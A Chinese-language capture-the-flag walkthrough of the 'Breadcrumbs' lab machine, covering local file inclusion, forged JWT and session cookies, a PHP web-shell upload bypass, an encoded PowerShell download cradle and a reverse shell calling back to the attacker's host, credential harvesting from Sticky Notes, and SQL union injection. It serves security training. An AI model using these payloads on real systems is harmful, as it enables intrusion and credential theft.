0x00 相关模块
- LFI 本地文件读取
php源码分析python伪造JWT与 `session- 文件上传特征绕过
sqllite数据库文件读取linux二进制文件逆向sql注入aes加密破解
0x01 初步信息收集
先对目标进行 nmap 扫描
# Nmap 7.95 scan initiated Mon Sep 21 01:42:48 2026 as: /usr/lib/nmap/nmap --privileged -p- --min-rate 1000 -oA nmapscan/portsscan 10.129.45.72
Nmap scan report for 10.129.45.72
Host is up (0.059s latency).
Not shown: 65520 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5040/tcp open unknown
7680/tcp open pando-pub
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
# Nmap done at Mon Sep 21 01:43:14 2026 -- 1 IP address (1 host up) scanned in 25.84 seconds
对端口进行详细信息扫描
# Nmap 7.95 scan initiated Mon Sep 21 01:49:07 2026 as: /usr/lib/nmap/nmap --privileged -sV -sC -sT -O -p 22,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 --min-rate 1000 -oA nmapscan/detail 10.129.45.72
Nmap scan report for 10.129.45.72
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_ 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_http-title: Library
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
445/tcp open microsoft-ds?
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 (96%), Microsoft Windows 10 1709 - 21H2 (96%), Microsoft Windows 10 21H1 (96%), Microsoft Windows 10 1903 (95%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 1803 (94%), Microsoft Windows 10 Education Edition 1909 (94%), Microsoft Windows 10 20H2 - 21H1 (94%), Microsoft Windows 10 21H2 (94%), Microsoft Windows 10 1703 or Windows 11 21H2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-09-21T05:51:00
|_ start_date: N/A
|_clock-skew: -54s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 21 01:52:06 2026 -- 1 IP address (1 host up) scanned in 179.06 seconds
尝试在 smb 服务和 rpc 服务上匿名枚举失败后,我决定去查看 http 服务
首页是一个图书查询服务,一个半静态页面,做一下目录爆破
在爆破同时,在页面上尝试更多交互
点击 check books 出现
是一个图书查询
访问 http://10.129.47.0/portal/ 自动跳转到一个登入页面
这里可以注册账户,随便注册一个账户尝试登入
是一个管理面板,但是最重要的 file management 无法进入,怀疑可能需要更高的权限,在 User management 中可以拿到一匹用户名单,但用处不大。
回到先前的页面,我们用 burpsuite 尝试分析。
在该页面点击 book
会抓到一个包
其中 book 参数指向某个具体文件,所以怀疑此处可能有 LFI 本地文件包含漏洞
0x02 利用 LFI
2.1 验证LFI
尝试读取 C:\Windows\win.ini 来验证,发现报错
这里指出了这个函数是 file_get_contents,并且在这里我们上传的参数会被拼接前缀,还有被暴露出的目录 C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php
更换 payload 格式尝试路径穿越
成功读到,但是 file_get_contents 包含无法直接执行文件内命令,最大价值是读源码,所以我们来读读源码。
2.2 LFI 读取源码

通过对比路径,我们可以确定网站根路径C:\Users\www-data\Desktop\xampp\htdocs\
对这个路径我们去扩展读取源码,最感兴趣的肯定是http://10.129.47.0/portal/login 先前的登入页面
将参数换为 C:\Users\www-data\Desktop\xampp\htdocs\portal\login读取
两个关键的东西,一个是 JWT 的加密密钥,另一个是一些依赖,我们把他们都读取出来,还有先前关键的 File management 页面
都读出来
最后是读了这些文件
先前在请求包中可以看到 cookie 中有两位参数
一个是 login.php 中的 JWT
一个是 cookie.php 文件中的逻辑
对应
并且在 fileController.php 中我们找到了打不开 File management 的原因
改页面要求用户权限为管理员用户或者为 paul
我们可以尝试伪造 paul 的 JWT 和 session 来登入这个用户
2.3 JWT和session 伪造
用 python 复刻他的生成逻辑
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ cat JWT.py
import jwt
payload = {"data":{ "username":"paul"}}
secret_key='6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e'
encoded_payload = jwt.encode(payload,secret_key,algorithm="HS256")
print(encoded_payload)
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ python JWT.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJguG8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI
拿到 paul 用户的 JWT
再来分析 session 生成session 生成逻辑主要是去用户名中的一个字母,与固定前缀后缀拼接后进行 md5 加密后再拼接上用户名
具体实现
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ cat session.py
import hashlib
username = "paul"
a = "s4lTy_stR1nG_"
c = "(!528./9890"
for i in range(len(username)):
payload = a + username[i] + c
session=username+hashlib.md5(payload.encode()).hexdigest()
print(session)
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ python session.py
paula2a6a014d3bee04d7df8d5837d62e8c5
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paul47200b180ccd6835d25d034eeb6e6390
因为有随机性,所以 4 个 session 需要我们尝试碰撞,这里我们用先前的 File management 页面去碰撞,因为他带有对用户 paul的校验
0x03 文件上传利用
3.1 尝试文件上传
利用先前制作的 JWT 和 session 经过几次尝试后就可以登入

很明显是一个文件上传点,进行一些文件上传的测试
在测试时也需要替换 cookie
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJguG8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI
先尝试创建一个空的 php 文件试试能不能上传,如果能上传就好办了。
尝试之后发现能直接上传 php 文件,但是存放为 zip 后缀
存放路径为 http://10.129.47.0/portal/uploads/ 先前源代码有透露
抓包查看具体什么情况
下方 test.zip 应该是保存的名字,这里尝试上传一个 php 文件,并在包内将存放名改为 php 后缀看是否能绕过
ok猜想验证成功
现在尝试上传木马
3.2 文件上传特征检测绕过
尝试上传常用的一句话木马
<?php system($_GET['cmd']);?>

发现无法上传,可能是某些特征被检测了,换一个特征较少的 payload
<?=`$_REQUEST[c]`;?>
上传成功
3.3 立足点
先尝试命令执行
可以执行命令,那我们就要尝试去反弹 shell,我先是尝试下载 nc64.exe 但是可能是因为 defender 的原因被落地杀了,所以我尝试文件不落地的方法执行。
先生成 payload
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ msfvenom -p windows/x64/shell_reverse_tcp -f psh -o shell.ps1 LHOST=10.10.16.20 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of psh file: 2971 bytes
Saved as: shell.ps1
然后处理文件不落地的 payload
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ iconv -t UTF-16LE command |base64 -w0
cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMgAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApACIACgA=
payload 如下
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.20/shell.ps1')"
最后我们在 c上执行的命令是这样的
c=powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMgAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApACIACgA=
记得开启 http 服务和监听
发现还是有问题,http 能收到请求,但是没能收到监听,说明是 反弹 shell payload 的问题,更换为特征更小的原始 powershell 命令的反弹 shell
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ cat shell.ps1
$ip = "10.10.16.20"
$port = 4444
$c = New-Object Net.Sockets.TCPClient($ip, $port)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | %{0}
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object Text.ASCIIEncoding).GetString($b, 0, $i)
$sb = ([Text.Encoding]::ASCII).GetBytes((iex $d 2>&1 | Out-String))
$s.Write($sb, 0, $sb.Length)
$s.Flush()
}
$c.Close()
成功获取反弹 shell
0x04 横向移动
4.1 移动到 juliette
因为我们先在是 www-data 用户 他的权限一般很小,所以我们需要横向到其他用户
在 http 目录下 一个文件很可疑
应该不是 程序的默认目录进行查看
在目录下拿到了一个用户凭证 juliette:jUli901./())!
用 ssh 连接
并且可以拿到用户 flag
4.2 移动到 development
我们能注意到,桌面上有 todo.html
这里可以注意到 他们提到了要将密码从 微软笔记应用中移动到新的密码管理器 ,可以设想那里有残留的密码。
在互联网上搜索 Microsoft Store Sticky Notes application 的存放路径
Win系统便笺(Sticky Notes)的数据保存位置、迁移和恢复数据_sticky notes文件位置-CSDN博客
这篇文章中提到存放路径为 Users\你的用户名 \AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
找到该路径,将 plum.sqlite 的三个文件下载下来
并在 kali 上读取
读取信息
拿到新的凭据 development:fN3)sN5Ee@g
0x05 提权
5.1 逆向破解
先用新的凭据登入,在 c:\ 根目录下有 development 目录,先前我们进不来

将这个文件下载下来
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ file Krypter_Linux
Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped
进行一些检查,发现其为 64 位二进制文件,并且是 linux 依赖strings 看看可读字符串
┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ strings Krypter_Linux
/lib64/ld-linux-x86-64.so.2
libcurl.so.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
curl_easy_cleanup
curl_easy_init
curl_easy_setopt
curl_easy_perform
libstdc++.so.6
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
__gxx_personality_v0
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendEPKcm
_ZNSt8ios_base4InitC1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
_ZSt4cout
libgcc_s.so.1
_Unwind_Resume
libc.so.6
puts
strlen
__cxa_atexit
__cxa_finalize
__libc_start_main
GCC_3.0
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
GLIBC_2.2.5
CURL_OPENSSL_4
u/UH
[]A\A]A^A_
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
Server response:
Incorrect master key
No key supplied.
USAGE:
Krypter <key>
;*3$"
zPLR
GCC: (Debian 9.3.0-14) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7452
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
pass.cpp
_ZStL19piecewise_construct
_ZStL8__ioinit
_ZL13WriteCallbackPvmmS_
_Z41__static_initialization_and_destruction_0ii
其中有些东西比较有意思
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
Server response:
Incorrect master key
No key supplied.
USAGE:
Krypter <key>
似乎是要一个密钥,然后通过靶机内部的 1234 端口去查询 admin 的密码
也提示了用法,我们尝试逆向他
启动 ghidra

这里是程序的关键逻辑,会按向逻辑在验证密钥后 向 1234 端口发送请求,并且不用身份验证,所以我们可以绕过密钥破解,直接向端口发送请求。
先看看靶机上端口是否正常开启
监听本地端口中
那我们直接向该端口发送请求
curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords"
返回了 aes_key 密钥
5.2 sql注入
但是我们还需要 admin 的密码
对于这个 payload 的查询逻辑 可以推测是用数据库查询的,因为带有 select 关键字 推测可能格式为
select aes_key from password WHERE username = administrator
我们尝试 sql 注入
development@BREADCRUMBS c:\Development>curl "http://localhost:1234/index.php?method=select&username=administrator'&table=passwords"
select<br />
<b>Fatal error</b>: Uncaught TypeError: mysqli_fetch_all(): Argument #1 ($result) must be of type mysqli_result, bool given in C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php:18
Stack trace:
#0 C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php(18): mysqli_fetch_all(false, 1)
#1 {main}
thrown in <b>C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php</b> on line <b>18</b><br />
development@BREADCRUMBS c:\Development>curl "http://localhost:1234/index.php?method=select&username=administrator''&table=passwords"
selectarray(0) {
}
development@BREADCRUMBS c:\Development>curl "http://localhost:1234/index.php?method=select&username=administrator'or 1=1 --+&table=passwords"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1 Server at localhost Port 80</address>
</body></html>
development@BREADCRUMBS c:\Development>curl "http://localhost:1234/index.php?method=select&username=administrator'or+1=1+--+&table=passwords"
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
简单测试后发现确实存在 sql 注入,尝试利用
尝试 union 联合注入
curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+1--+"

确认回显位,当增加列数来到 2 时报错
curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+database()--+"

库名为 bread
curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+table_name+from+information_schema.tables+where+table_schema=database()--+"

表名为 passwords
接着爆列名
curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+column_name+from+information_schema.columns+where+table_schema=database()--+"

列出了四列 分别是 id account password aes_key
来查询 password 列内的内容试试
curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+password+from+passwords--+"

密码为 H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
我们用 cyberchef 来尝试解密
成功解密 p@ssw0rd!@#$9890./
登入获得 root flag